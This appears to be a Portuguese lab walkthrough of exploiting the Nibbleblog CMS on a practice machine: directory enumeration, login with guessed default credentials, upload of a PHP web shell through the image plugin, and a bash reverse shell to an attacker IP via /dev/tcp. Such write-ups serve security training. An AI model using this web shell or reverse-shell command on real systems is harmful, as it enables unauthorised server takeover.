> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/cms/nibbles-blog-cms-exploitation.md).

# Blog Nibbles

### Nibbles Blog - CMS

<figure><img src="/files/5d32d94fe7f7293cf181ed3ab6405d2e52ecc6d6" alt=""><figcaption></figcaption></figure>

O site parece ser um CMS Nibbleblog. Use `gobuster` para procurar diretórios adicionais:

```bash
gobuster dir -u http://10.10.10.75/nibbleblog/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

<figure><img src="/files/fee23796409613749d6c28d93bc3f7d2e412dd54" alt=""><figcaption></figcaption></figure>

#### Busca de arquivos PHP:

A enumeração de arquivos PHP revela `admin.php`, que parece ser um painel de administração.

<figure><img src="/files/094982b118e35d85c821255975ada705db6a20e0" alt=""><figcaption></figcaption></figure>

#### Tentativa de login com credenciais

Tente fazer login com as seguintes credenciais:

* **Usuário** : admin
* **Senha** : nibbles

<figure><img src="/files/770b45a23560073ad1c2d4786b6942a42807491b" alt=""><figcaption></figcaption></figure>

Isso funciona e dá acesso à interface de administração.

<figure><img src="/files/b96219895b0ca5dd93012a00ba5387521f7da98a" alt=""><figcaption></figcaption></figure>

## Vulnerabilidade de upload de arquivos do Nibbleblog

É descoberta uma funcionalidade de upload de imagens:

<figure><img src="/files/9d212171f812b7b691d898698ed3b2bb07ade1b5" alt=""><figcaption></figcaption></figure>

Crie um `cmd.php` arquivo com o seguinte código para habilitar a execução de comandos:

```bash
<?php
echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
?>
```

O arquivo é enviado para `conteúdo`, onde uma `privada` subpasta contém plugins.

<figure><img src="/files/8759d134ff3fd3e0dc7264e96be9789902dd8875" alt=""><figcaption></figcaption></figure>

#### Execução de comandos por meio de upload de arquivo

O `cmd` o parâmetro permite a execução de comandos. Por exemplo, use a seguinte URL para obter informações de identidade do sistema:

<pre class="language-bash"><code class="lang-bash"><strong>/image.php?cmd=id
</strong></code></pre>

<figure><img src="/files/6d28e94495b219d58a8b17ab66a1ad9f430f7c77" alt=""><figcaption></figcaption></figure>

Obtenha acesso ao servidor por meio de uma shell reversa. Inicie um listener na porta 443:

```bash
nc -nlvp 443
```

Em seguida, execute a shell reversa no alvo:

```bash
bash -c "bash -i >%26 /dev/tcp/10.10.14.7/443 0>%261"
```

<figure><img src="/files/b38582a786cf42499c4473f50196b05bd78d0458" alt=""><figcaption></figcaption></figure>


---

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